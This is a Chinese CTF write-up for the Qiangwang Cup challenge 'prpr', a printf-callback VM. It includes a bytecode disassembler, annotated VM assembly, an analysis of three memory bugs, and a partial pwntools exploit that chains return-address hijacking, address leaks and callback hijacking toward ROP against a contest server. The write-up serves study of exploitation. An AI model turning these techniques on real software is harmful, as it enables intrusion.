分类 writeups 下的文章

又是一年强网杯,很多网安人都要完成的完成 KPI...

捡了个二血,就做了这题,别的没咋看

b73f5b03df82d68b91baf2caa087b77

题目附件:
通过百度网盘分享的文件:prpr.zip
链接:https://pan.baidu.com/s/1mrbCrjnKpMOxmJiUT0Q53A?pwd=hs60
提取码:hs60

分析

程序为 printf 注册了很多回调,在遇到这些回调的时候会进入对应的 handler 处理并通过第三个参数携带格式化字符串本身的参数

img

题目使用这个机制实现了一个 VM,VM 对应的格式化字符串 vmcode 在全局段上,dump如下:

[(0, '%x', 0), (1, '%a', 0), (2, '%Y', 1), (3, '%U', 255), (4, '%k', 1), (5, '%r', 0), (6, '%S', 0), (7, '%k', 1), (8, '%U', 0), (9, '%r', 0), (10, '%S', 0), (11, '%a', 0), (12, '%Y', 2), (13, '%U', 63), (14, '%k', 2), (15, '%r', 0), (16, '%S', 0), (17, '%k', 2), (18, '%U', 0), (19, '%r', 0), (20, '%S', 0), (21, '%k', 2), (22, '%U', 4), (23, '%i', 0), (24, '%c', 0), (25, '%k', 1), (26, '%D', 0), (27, '%k', 2), (28, '%U', 4), (29, '%i', 0), (30, '%b', 0), (31, '%n', 0), (32, '%a', 0), (33, '%Y', 3), (34, '%a', 0), (35, '%Y', 4), (36, '%U', 63), (37, '%k', 4), (38, '%r', 0), (39, '%S', 0), (40, '%k', 4), (41, '%U', 0), (42, '%r', 0), (43, '%S', 0), (44, '%U', 0), (45, '%Y', 5), (46, '%k', 4), (47, '%k', 5), (48, '%r', 0), (49, '%S', 59), (50, '%g', 60), (51, '%k', 3), (52, '%C', 0), (53, '%y', 0), (54, '%k', 5), (55, '%U', 1), (56, '%A', 0), (57, '%Y', 5), (58, '%N', 46), (59, '%n', 0), (60, '%a', 0), (61, '%k', 5), (62, '%#X', 0), (63, '%k', 5), (64, '%#V', 0), (65, '%U', 255), (66, '%M', 0), (67, '%S', 0), (68, '%k', 5), (69, '%#V', 0), (70, '%n', 0), (71, '%a', 0), (72, '%Y', 0), (73, '%U', 1), (74, '%k', 0), (75, '%M', 0), (76, '%T', 79), (77, '%g', 1), (78, '%N', 71), (79, '%U', 2), (80, '%k', 0), (81, '%M', 0), (82, '%T', 85), (83, '%g', 32), (84, '%N', 71), (85, '%U', 3), (86, '%k', 0), (87, '%M', 0), (88, '%T', 91), (89, '%g', 110), (90, '%N', 71), (91, '%U', 4), (92, '%k', 0), (93, '%M', 0), (94, '%T', 97), (95, '%g', 141), (96, '%N', 71), (97, '%U', 5), (98, '%k', 0), (99, '%M', 0), (100, '%T', 103), (101, '%g', 178), (102, '%N', 71), (103, '%U', 6), (104, '%k', 0), (105, '%M', 0), (106, '%T', 109), (107, '%g', 209), (108, '%N', 71), (109, '%x', 0), (110, '%a', 0), (111, '%Y', 1), (112, '%U', 255), (113, '%k', 1), (114, '%r', 0), (115, '%S', 0), (116, '%k', 1), (117, '%U', 0), (118, '%r', 0), (119, '%S', 0), (120, '%a', 0), (121, '%Y', 2), (122, '%U', 63), (123, '%k', 2), (124, '%r', 0), (125, '%S', 0), (126, '%k', 2), (127, '%U', 0), (128, '%r', 0), (129, '%S', 0), (130, '%k', 2), (131, '%U', 4), (132, '%i', 0), (133, '%c', 0), (134, '%k', 1), (135, '%H', 0), (136, '%k', 2), (137, '%U', 4), (138, '%i', 0), (139, '%b', 0), (140, '%n', 0), (141, '%a', 0), (142, '%Y', 3), (143, '%a', 0), (144, '%Y', 4), (145, '%U', 62), (146, '%k', 4), (147, '%r', 0), (148, '%S', 0), (149, '%k', 4), (150, '%U', 0), (151, '%r', 0), (152, '%S', 0), (153, '%U', 0), (154, '%Y', 5), (155, '%k', 4), (156, '%k', 5), (157, '%r', 0), (158, '%S', 177), (159, '%g', 60), (160, '%k', 3), (161, '%G', 0), (162, '%k', 5), (163, '%#X', 0), (164, '%k', 5), (165, '%#V', 0), (166, '%U', 255), (167, '%M', 0), (168, '%S', 0), (169, '%k', 5), (170, '%#V', 0), (171, '%y', 0), (172, '%k', 5), (173, '%U', 1), (174, '%A', 0), (175, '%Y', 5), (176, '%N', 155), (177, '%n', 0), (178, '%a', 0), (179, '%Y', 1), (180, '%U', 255), (181, '%k', 1), (182, '%r', 0), (183, '%S', 0), (184, '%k', 1), (185, '%U', 0), (186, '%r', 0), (187, '%S', 0), (188, '%a', 0), (189, '%Y', 2), (190, '%U', 63), (191, '%k', 2), (192, '%r', 0), (193, '%S', 0), (194, '%k', 2), (195, '%U', 0), (196, '%r', 0), (197, '%S', 0), (198, '%k', 2), (199, '%U', 4), (200, '%i', 0), (201, '%c', 0), (202, '%k', 1), (203, '%F', 0), (204, '%k', 2), (205, '%U', 4), (206, '%i', 0), (207, '%b', 0), (208, '%n', 0), (209, '%a', 0), (210, '%Y', 3), (211, '%a', 0), (212, '%Y', 4), (213, '%U', 63), (214, '%k', 4), (215, '%r', 0), (216, '%S', 0), (217, '%k', 4), (218, '%U', 0), (219, '%r', 0), (220, '%S', 0), (221, '%U', 0), (222, '%Y', 5), (223, '%k', 4), (224, '%k', 5), (225, '%r', 0), (226, '%S', 245), (227, '%g', 60), (228, '%k', 3), (229, '%E', 0), (230, '%k', 5), (231, '%#X', 0), (232, '%k', 5), (233, '%#V', 0), (234, '%U', 255), (235, '%M', 0), (236, '%S', 0), (237, '%k', 5), (238, '%#V', 0), (239, '%y', 0), (240, '%k', 5), (241, '%U', 1), (242, '%A', 0), (243, '%Y', 5), (244, '%N', 223), (245, '%n', 0), (246, '%x', 0), (247, '%x', 0), (248, '%x', 0), (249, '%x', 0)]

虚拟机相关数据结构恢复:

00000000 struct __attribute__((packed)) __attribute__((aligned(4))) vm // sizeof=0x7654
00000000 {
00000000     struct code *code_page;
00000008     __int32 code_size;
0000000C     __int32 field_C;
00000010     __int32 *regs;
00000018     __int32 reg_nums;
0000001C     __int32 field_1C;
00000020     signed int stack[1000];
00000FC0     __int64 padding[31];
000010B8     __int32 pad1;
000010BC     __int32 pad2;
000010C0     __int32 pad3;
000010C4     struct mem_chunk mem_chunks[100];
00007654 };

00000000 struct mem_chunk // sizeof=0x104
00000000 {                                       // XREF: vm/r vm/r
00000000     char data[252];
000000FC     __int32 field1;
00000100     __int32 retaddr;
00000104 };

00000000 struct code // sizeof=0xC
00000000 {                                       // XREF: vm/r
00000000     char fmtchar[8];
00000008     __int32 arg;
0000000C };

逆向每个 handler 的作用然后编写脚本恢复出 vmcode 序列对应的伪 ASM:

import os, sys

STACK_ARG1 = "STACK[SP]"
STACK_ARG2 = "STACK[SP-1]"
OPRAND_ARG = "OPRAND"

asm_map = {
    "%A": ("vm_add", 2, STACK_ARG1, STACK_ARG2),
    "%C": ("vm_and", 2, STACK_ARG1, STACK_ARG2),
    "%D": ("vm_mem_data_and", 1, STACK_ARG1),
    "%E": ("vm_or", 2, STACK_ARG1, STACK_ARG2),
    "%F": ("vm_mem_data_or", 1, STACK_ARG1),
    "%G": ("vm_xor", 2, STACK_ARG1, STACK_ARG2),
    "%H": ("vm_mem_data_xor", 1, STACK_ARG1),
    "%i": ("vm_mul", 2, STACK_ARG1, STACK_ARG2),
    "%J": ("vm_shl", 2, STACK_ARG1, STACK_ARG2),
    "%K": ("vm_shr", 2, STACK_ARG1, STACK_ARG2),
    "%r": ("vm_greater_than", 2, STACK_ARG1, STACK_ARG2),
    "%M": ("vm_eq", 2, STACK_ARG1, STACK_ARG2),
    "%N": ("vm_jmp_addr", 1, OPRAND_ARG),
    "%S": ("vm_jmp_not_zero", 2, STACK_ARG1, OPRAND_ARG),
    "%T": ("vm_jmp_zero", 2, STACK_ARG1, OPRAND_ARG),
    "%U": ("vm_push_int", 1, OPRAND_ARG),
    "%#V": ("vm_load_mem_to_stack", 1, STACK_ARG1),
    "%k": ("vm_push_reg", 1, OPRAND_ARG),
    "%#X": ("vm_store_stack_to_mem", 2, STACK_ARG1, STACK_ARG2),
    "%Y": ("vm_pop_reg", 1, OPRAND_ARG),
    "%y": ("vm_pop_stdout", 0),
    "%a": ("vm_push_stdin", 0),
    "%b": ("vm_show_mem_chunk", 1, STACK_ARG1),
    "%c": ("vm_read_mem_chunk", 1, STACK_ARG1),
    "%f": ("vm_pop_null", 0),
    "%g": ("vm_call", 1, OPRAND_ARG),
    "%n": ("vm_ret", 0),
    "%x": ("vm_exit", 0),
}

def dump_asm():
    code = []
    entry = 71

    arg_trans = lambda x: x if x != OPRAND_ARG else "OPRAND"

    with open('code.txt', 'r') as f:
        code = eval(f.read())

    be_jmped = []
    tagged = []

    for c in code:
        line_num = c[0]
        opcode = c[1]
        oprand = c[2]
        asm_fmt = asm_map.get(opcode)
        if asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call"]:
            be_jmped.append(oprand)

    for c in code:
        line_num = c[0]
        opcode = c[1]
        oprand = c[2]
        asm_fmt = asm_map.get(opcode)
        if not asm_fmt:
            print(f"Error: Unknown ASM code: {c[0]}")
            continue
        arg_trans = lambda x: x if x != OPRAND_ARG else oprand
        arg_num = asm_fmt[1]

        if line_num == entry:
            print("ENTRY:")
        if (line_num not in tagged) and (line_num in be_jmped):
            print(f"\nBLOCK_{line_num}:")
            tagged.append(line_num)

        if arg_num == 0:
            print(f"{line_num}:\t {asm_fmt[0]}()")
        elif arg_num == 1:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])})")
        elif arg_num == 2:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])})")
        elif arg_num == 3:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])}, {arg_trans(asm_fmt[4])})")

        if (line_num not in tagged) and (asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call", "vm_ret"]):
            print(f"\nBLOCK_{line_num+1}:")
            tagged.append(line_num+1)

if __name__ == "__main__":
    dump_asm()

逆向恢复出来的伪 ASM 并为菜单和几个主要的子函数添加了手动注释:

BLOCK_0:
0:       vm_exit()

; ======================================
; OPTION 1
; 
; READ data to mem chunk
; AND mem chunk bytes and output
; ======================================

BLOCK_1:
1:       vm_push_stdin()
2:       vm_pop_reg(1)
3:       vm_push_int(255)
4:       vm_push_reg(1)
5:       vm_greater_than(STACK[SP], STACK[SP-1])
6:       vm_jmp_not_zero(STACK[SP], 0)

BLOCK_7:
7:       vm_push_reg(1)
8:       vm_push_int(0)
9:       vm_greater_than(STACK[SP], STACK[SP-1])
10:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_11:
11:      vm_push_stdin()
12:      vm_pop_reg(2)
13:      vm_push_int(63)
14:      vm_push_reg(2)
15:      vm_greater_than(STACK[SP], STACK[SP-1])
16:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_17:
17:      vm_push_reg(2)
18:      vm_push_int(0)
19:      vm_greater_than(STACK[SP], STACK[SP-1])
20:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_21:
21:      vm_push_reg(2)
22:      vm_push_int(4)
23:      vm_mul(STACK[SP], STACK[SP-1])
24:      vm_read_mem_chunk(STACK[SP])
25:      vm_push_reg(1)
26:      vm_mem_data_and(STACK[SP])
27:      vm_push_reg(2)
28:      vm_push_int(4)
29:      vm_mul(STACK[SP], STACK[SP-1])
30:      vm_show_mem_chunk(STACK[SP])
31:      vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 2
;
; READ data to mem chunk
; AND mem chunk ints and output
; ======================================

BLOCK_32:
32:      vm_push_stdin()
33:      vm_pop_reg(3)
34:      vm_push_stdin()
35:      vm_pop_reg(4)
36:      vm_push_int(63)
37:      vm_push_reg(4)
38:      vm_greater_than(STACK[SP], STACK[SP-1])
39:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_40:
40:      vm_push_reg(4)
41:      vm_push_int(0)
42:      vm_greater_than(STACK[SP], STACK[SP-1])
43:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_44:
44:      vm_push_int(0)
45:      vm_pop_reg(5)

BLOCK_46:
46:      vm_push_reg(4)
47:      vm_push_reg(5)
48:      vm_greater_than(STACK[SP], STACK[SP-1])
49:      vm_jmp_not_zero(STACK[SP], 59)

BLOCK_50:
50:      vm_call(60)
51:      vm_push_reg(3)
52:      vm_and(STACK[SP], STACK[SP-1])
53:      vm_pop_stdout()
54:      vm_push_reg(5)
55:      vm_push_int(1)
56:      vm_add(STACK[SP], STACK[SP-1])
57:      vm_pop_reg(5)
58:      vm_jmp_addr(46)

BLOCK_59:
59:      vm_ret()

; ======================================
; END OPTION
; ======================================

BLOCK_60:
60:      vm_push_stdin()
61:      vm_push_reg(5)
62:      vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
63:      vm_push_reg(5)
64:      vm_load_mem_to_stack(STACK[SP])
65:      vm_push_int(255)
66:      vm_eq(STACK[SP], STACK[SP-1])
67:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_68:
68:      vm_push_reg(5)
69:      vm_load_mem_to_stack(STACK[SP])
70:      vm_ret()

; ======================================
; MENU
; 
; choice 1~6:
; 1 => 1
; 2 => 32
; 3 => 110
; 4 => 141
; 5 => 178
; 6 => 209
; ======================================

BLOCK_71:
ENTRY:
71:      vm_push_stdin()
72:      vm_pop_reg(0)
73:      vm_push_int(1)
74:      vm_push_reg(0)
75:      vm_eq(STACK[SP], STACK[SP-1])
76:      vm_jmp_zero(STACK[SP], 79)

BLOCK_77:
77:      vm_call(1)
78:      vm_jmp_addr(71)

BLOCK_79:
79:      vm_push_int(2)
80:      vm_push_reg(0)
81:      vm_eq(STACK[SP], STACK[SP-1])
82:      vm_jmp_zero(STACK[SP], 85)

BLOCK_83:
83:      vm_call(32)
84:      vm_jmp_addr(71)

BLOCK_85:
85:      vm_push_int(3)
86:      vm_push_reg(0)
87:      vm_eq(STACK[SP], STACK[SP-1])
88:      vm_jmp_zero(STACK[SP], 91)

BLOCK_89:
89:      vm_call(110)
90:      vm_jmp_addr(71)

BLOCK_91:
91:      vm_push_int(4)
92:      vm_push_reg(0)
93:      vm_eq(STACK[SP], STACK[SP-1])
94:      vm_jmp_zero(STACK[SP], 97)

BLOCK_95:
95:      vm_call(141)
96:      vm_jmp_addr(71)

BLOCK_97:
97:      vm_push_int(5)
98:      vm_push_reg(0)
99:      vm_eq(STACK[SP], STACK[SP-1])
100:     vm_jmp_zero(STACK[SP], 103)

BLOCK_101:
101:     vm_call(178)
102:     vm_jmp_addr(71)

BLOCK_103:
103:     vm_push_int(6)
104:     vm_push_reg(0)
105:     vm_eq(STACK[SP], STACK[SP-1])
106:     vm_jmp_zero(STACK[SP], 109)

BLOCK_107:
107:     vm_call(209)
108:     vm_jmp_addr(71)

BLOCK_109:
109:     vm_exit()

; ======================================
; END MENU
; ======================================

; ======================================
; OPTION 3
;
; READ data to mem chunk
; XOR mem chunk bytes and output
; ======================================

BLOCK_110:
110:     vm_push_stdin()
111:     vm_pop_reg(1)
112:     vm_push_int(255)
113:     vm_push_reg(1)
114:     vm_greater_than(STACK[SP], STACK[SP-1])
115:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_116:
116:     vm_push_reg(1)
117:     vm_push_int(0)
118:     vm_greater_than(STACK[SP], STACK[SP-1])
119:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_120:
120:     vm_push_stdin()
121:     vm_pop_reg(2)
122:     vm_push_int(63)
123:     vm_push_reg(2)
124:     vm_greater_than(STACK[SP], STACK[SP-1])
125:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_126:
126:     vm_push_reg(2)
127:     vm_push_int(0)
128:     vm_greater_than(STACK[SP], STACK[SP-1])
129:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_130:
130:     vm_push_reg(2)
131:     vm_push_int(4)
132:     vm_mul(STACK[SP], STACK[SP-1])
133:     vm_read_mem_chunk(STACK[SP])
134:     vm_push_reg(1)
135:     vm_mem_data_xor(STACK[SP])
136:     vm_push_reg(2)
137:     vm_push_int(4)
138:     vm_mul(STACK[SP], STACK[SP-1])
139:     vm_show_mem_chunk(STACK[SP])
140:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 4
;
; READ data to mem chunk
; XOR mem chunk ints and output
; ======================================

BLOCK_141:
141:     vm_push_stdin()
142:     vm_pop_reg(3)
143:     vm_push_stdin()
144:     vm_pop_reg(4)
145:     vm_push_int(62)
146:     vm_push_reg(4)
147:     vm_greater_than(STACK[SP], STACK[SP-1])
148:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_149:
149:     vm_push_reg(4)
150:     vm_push_int(0)
151:     vm_greater_than(STACK[SP], STACK[SP-1])
152:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_153:
153:     vm_push_int(0)
154:     vm_pop_reg(5)

BLOCK_155:
155:     vm_push_reg(4)
156:     vm_push_reg(5)
157:     vm_greater_than(STACK[SP], STACK[SP-1])
158:     vm_jmp_not_zero(STACK[SP], 177)

BLOCK_159:
159:     vm_call(60)
160:     vm_push_reg(3)
161:     vm_xor(STACK[SP], STACK[SP-1])
162:     vm_push_reg(5)
163:     vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
164:     vm_push_reg(5)
165:     vm_load_mem_to_stack(STACK[SP])
166:     vm_push_int(255)
167:     vm_eq(STACK[SP], STACK[SP-1])
168:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_169:
169:     vm_push_reg(5)
170:     vm_load_mem_to_stack(STACK[SP])
171:     vm_pop_stdout()
172:     vm_push_reg(5)
173:     vm_push_int(1)
174:     vm_add(STACK[SP], STACK[SP-1])
175:     vm_pop_reg(5)
176:     vm_jmp_addr(155)

BLOCK_177:
177:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 5
;
; READ data to mem chunk
; OR mem chunk bytes and output
; ======================================

BLOCK_178:
178:     vm_push_stdin()
179:     vm_pop_reg(1)
180:     vm_push_int(255)
181:     vm_push_reg(1)
182:     vm_greater_than(STACK[SP], STACK[SP-1])
183:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_184:
184:     vm_push_reg(1)
185:     vm_push_int(0)
186:     vm_greater_than(STACK[SP], STACK[SP-1])
187:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_188:
188:     vm_push_stdin()
189:     vm_pop_reg(2)
190:     vm_push_int(63)
191:     vm_push_reg(2)
192:     vm_greater_than(STACK[SP], STACK[SP-1])
193:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_194:
194:     vm_push_reg(2)
195:     vm_push_int(0)
196:     vm_greater_than(STACK[SP], STACK[SP-1])
197:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_198:
198:     vm_push_reg(2)
199:     vm_push_int(4)
200:     vm_mul(STACK[SP], STACK[SP-1])
201:     vm_read_mem_chunk(STACK[SP])
202:     vm_push_reg(1)
203:     vm_mem_data_or(STACK[SP])
204:     vm_push_reg(2)
205:     vm_push_int(4)
206:     vm_mul(STACK[SP], STACK[SP-1])
207:     vm_show_mem_chunk(STACK[SP])
208:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 6
;
; READ data to mem chunk
; OR mem chunk ints and output
; ======================================

BLOCK_209:
209:     vm_push_stdin()
210:     vm_pop_reg(3)
211:     vm_push_stdin()
212:     vm_pop_reg(4)
213:     vm_push_int(63)
214:     vm_push_reg(4)
215:     vm_greater_than(STACK[SP], STACK[SP-1])
216:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_217:
217:     vm_push_reg(4)
218:     vm_push_int(0)
219:     vm_greater_than(STACK[SP], STACK[SP-1])
220:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_221:
221:     vm_push_int(0)
222:     vm_pop_reg(5)

BLOCK_223:
223:     vm_push_reg(4)
224:     vm_push_reg(5)
225:     vm_greater_than(STACK[SP], STACK[SP-1])
226:     vm_jmp_not_zero(STACK[SP], 245)

BLOCK_227:
227:     vm_call(60)
228:     vm_push_reg(3)
229:     vm_or(STACK[SP], STACK[SP-1])
230:     vm_push_reg(5)
231:     vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
232:     vm_push_reg(5)
233:     vm_load_mem_to_stack(STACK[SP])
234:     vm_push_int(255)
235:     vm_eq(STACK[SP], STACK[SP-1])
236:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_237:
237:     vm_push_reg(5)
238:     vm_load_mem_to_stack(STACK[SP])
239:     vm_pop_stdout()
240:     vm_push_reg(5)
241:     vm_push_int(1)
242:     vm_add(STACK[SP], STACK[SP-1])
243:     vm_pop_reg(5)
244:     vm_jmp_addr(223)

BLOCK_245:
245:     vm_ret()
; ======================================
; END OPTION
; ======================================

BLOCK_246:
246:     vm_exit()
247:     vm_exit()
248:     vm_exit()
249:     vm_exit()

利用

漏洞点有两个,一个是 option6 存在一个 mem_chunk 下标溢出,可以在逐 int 写的时候溢出一个 int,但是覆盖不到保存返回地址的位置。此时需要结合 mem_data_xor 中的另一个漏洞,该函数只要没读到 \x00 就会继续往后进行 XOR,可以实现修改一个字节的 VM 返回地址。

__int64 __fastcall sub_1910(FILE *stream, const struct printf_info *info, const void *const *args)
{
  __int64 v3; // rax
  char v4; // cl
  char *v5; // rdx
  char i; // al

  v3 = vm_sp--;
  v4 = vm->stack[v3];
  v5 = vm->mem_chunks[mem_idx].data;
  for ( i = *v5; *v5; i = *v5 )
    *v5++ = v4 ^ i;
  return 0LL;
}

但是一个字节返回地址劫持的能力太弱了...需要扩大利用优势,于是我们选择使用 50 行中的 vm_call(60)开始作为 gadget,劫持到这里的时候再次发生了函数调用,保存了返回地址到 mem_chunk 里,并且该函数会读取一个 int 值写入 curr_mem_chunk[reg5] 中,此时 reg5 的值正好是 64(完成了一次遍历++),也正好是返回地址所在的下标,因此我们就实现了劫持 4 字节返回地址的能力。返回地址以 0xc 大小的 code 结构体为单位,计算好偏移可以跳转到 mem_chunk 中的可控区域执行我们提前布置好的 vmcode,将攻击转换为任意 vmcode 执行下的 RCE。

然后进行地址泄露:

  1. 首先控制 vmcode 后可以使用 run_vm_code 中的格式化字符串泄露栈地址,ELF 地址,canary;
  2. 其次使用两次 b"%a%#V%yXXXX\x00 泄露 mem_chunk_base + offset上的值的高低 4 字节,获得 heap 地址;

    1. %#V%#X中存在第三个漏洞,使用 # 和不使用 # 会进入两条不同的分支来获取读写偏移,在使用 # 时并没有检查 offset 是否在合理范围内,造成了越界;
  3. 接着通过计算 ELF 地址和 mem_chunk_base 的地址可以泄露 ELF 上的任意值,通过泄露 got 表函数指针,确定 libc 的大致版本(题目没给 libc),并计算完成 orw 所需 gadget 地址;

此时一个 mem_chunk 的空间已经差不多被用完,通过 vm_jmp(71) 也就是跳转到 ENTRY 的位置重新开启一次 VM 程序并使用同样的操作可以进行第二次任意 vmcode 执行;

这一次我们使用两次 b"%a%a%#XDDDD\x00" 劫持 init_func_register_printf 注册到堆内存上的各种回调函数的地址,这些函数第一个参数是 FILE *stream 类型,但是实际上来源于更高地址上的栈内存,当使用对应的格式化字符时就会跳转到我们想要的函数。于是劫持回调函数为 gets,控制好 gets 读入的内容避免执行流提前 crash 或者触发 canary 错误 (比如填充字节全用大写 A 时会提前 crash 但是用小写 a 就能过,神奇),最终可以实现栈上的 ROP。

img

即使计算了远程 libc,本地和远程的堆布局依然有细微差异,通过分析远程堆应该是没有 vm 对象前的一个 free_chunk,所以导致劫持回调时的偏移不对,减去这个 chunk 大小就可以打通远程。

EXP

最终 EXP 如下:

from pwn import *
from LibcSearcher import *
import time

context.log_level = 'debug'

#p = process("./prpr", env={"LD_PRELOAD":"./libc2404.so"})
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc2404.so')
p = remote("123.56.219.14", 32790)

def option1(and_value, size, data:bytes):
    '''
    read mem => bytes and => show mem
    '''
    p.sendline(b'1')  
    p.sendline(str(and_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option2(and_value, size, data:list[int]):
    '''
    read ints => ints and => show ints
    '''
    p.sendline(b'2')    # option
    p.sendline(str(and_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())

def option3(xor_value, size, data:bytes):
    '''
    read mem => bytes xor => show mem
    '''
    p.sendline(b'3')  
    p.sendline(str(xor_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option4(xor_value, size, data:list[int]):
    '''
    read ints => ints xor => show ints
    '''
    p.sendline(b'4')    # option
    p.sendline(str(xor_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())
        p.recv()

def option5(or_value, size, data:bytes):
    '''
    read mem => bytes or => show mem
    '''
    p.sendline(b'5')  
    p.sendline(str(or_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option6(or_value, size, data:list[int]):
    '''
    read ints => ints or => show ints
    '''
    p.sendline(b'6')    # option
    p.sendline(str(or_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())

def make_vm_code(fmtstr:bytes, arg:int):
    assert len(fmtstr) <= 8
    fmtstr = fmtstr.ljust(8, b"\x00")
    arg = arg & 0xffffffff
    return fmtstr + p32(arg) 

def exp():
    #gdb.attach(p, "b *0x555555554000+0x2688\nc\n")
    #gdb.attach(p, "b *0x555555554000+0x1996\nc\n")
    #gdb.attach(p, "b *0x555555554000+0x1E00\nc\n")
    p.recv()
    option6(0x1, 63, [0xdeadbeef]*64)

    fake_vm_code = b"A"*8
    fake_vm_code += b"FUCK" + b"%p|"*16 + b"\x00"
    fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
    fake_vm_code += b"HEAP\x00\x00\x00\x00\x00\x00\x00\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"

    fake_vm_code += make_vm_code(b"%N", 71)

    fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
    log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
    
    option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
    p.sendline(b"-2171") # (-(0x65cc-8)) // 4

    p.recvuntil(b"FUCK")
    p.recvuntil(b"FUCK")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    stack_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"stack_leak: {hex(stack_leak)}")
    canary_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"canary_leak: {hex(canary_leak)}")
    p.recvuntil(b"|")
    elf_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"elf_leak: {hex(elf_leak)}")
    elf_base = elf_leak-0x1fb0
    log.info(f"elf_base: {hex(elf_base)}")

    # ====================================================
    #gdb.attach(p, "b *0x555555554000+0x2397\nc\n")
    p.sendline(b"-1008")
    p.sendline(b"-1007")
    p.recvuntil(b"HEAP")
    heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    p.recvuntil(b"XXXX")
    heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    heap_leak = (heap_leak_high << 32) + heap_leak_low
    heap_base = heap_leak - 0x8d50
    curr_mem_chunk_base = heap_base + 0x2680
    log.info(f"heap_leak: {hex(heap_leak)}")
    log.info(f"heap_base: {hex(heap_base)}")
    log.info(f"curr_mem_chunk_base: {hex(curr_mem_chunk_base)}")

    puts_got = elf_base + 0x5F58
    p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4-1}".encode())
    p.recvuntil(b"XXXX")
    tmp_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    p.recvuntil(b"XXXX")
    tmp_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    libc_puts = (tmp_leak_high << 32) + tmp_leak_low
    log.info(f"libc_puts: {hex(libc_puts)}")

    libc_base = libc_puts - 0x87bd0
    log.info(f"libc_base: {hex(libc_base)}")

    #pause()
    # ====================================================
    # NEW ROUND
    # ====================================================
    option6(0x1, 63, [0xdeadbeef]*64)
    # 0xca8
    fake_vm_code = b"A"*8
    fake_vm_code += b"FUCK" + b"\x00"
    fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
    fake_vm_code += b"%a%a%#XDDDD\x00"
    fake_vm_code += b"%a%a%#XDDDD\x00"
    #fake_vm_code += b"%a%#V%yXXXX\x00"
    #fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%APPPPPPPPP\x00"
    fake_vm_code += b"QWERQWERQWE\x00"

    fake_vm_code += make_vm_code(b"%Q", 0)
    fake_vm_code += make_vm_code(b"%a", 0)
    fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
    log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
    
    #gdb.attach(p, "b *0x555555554000+0x201E\nc\n")
    option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
    p.sendline(b"-2171") # (-(0x65cc-8)) // 4

    # ===========================================================

    p.recvuntil(b"FUCK")
    p.recvuntil(b"FUCK")

    #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4}".encode())
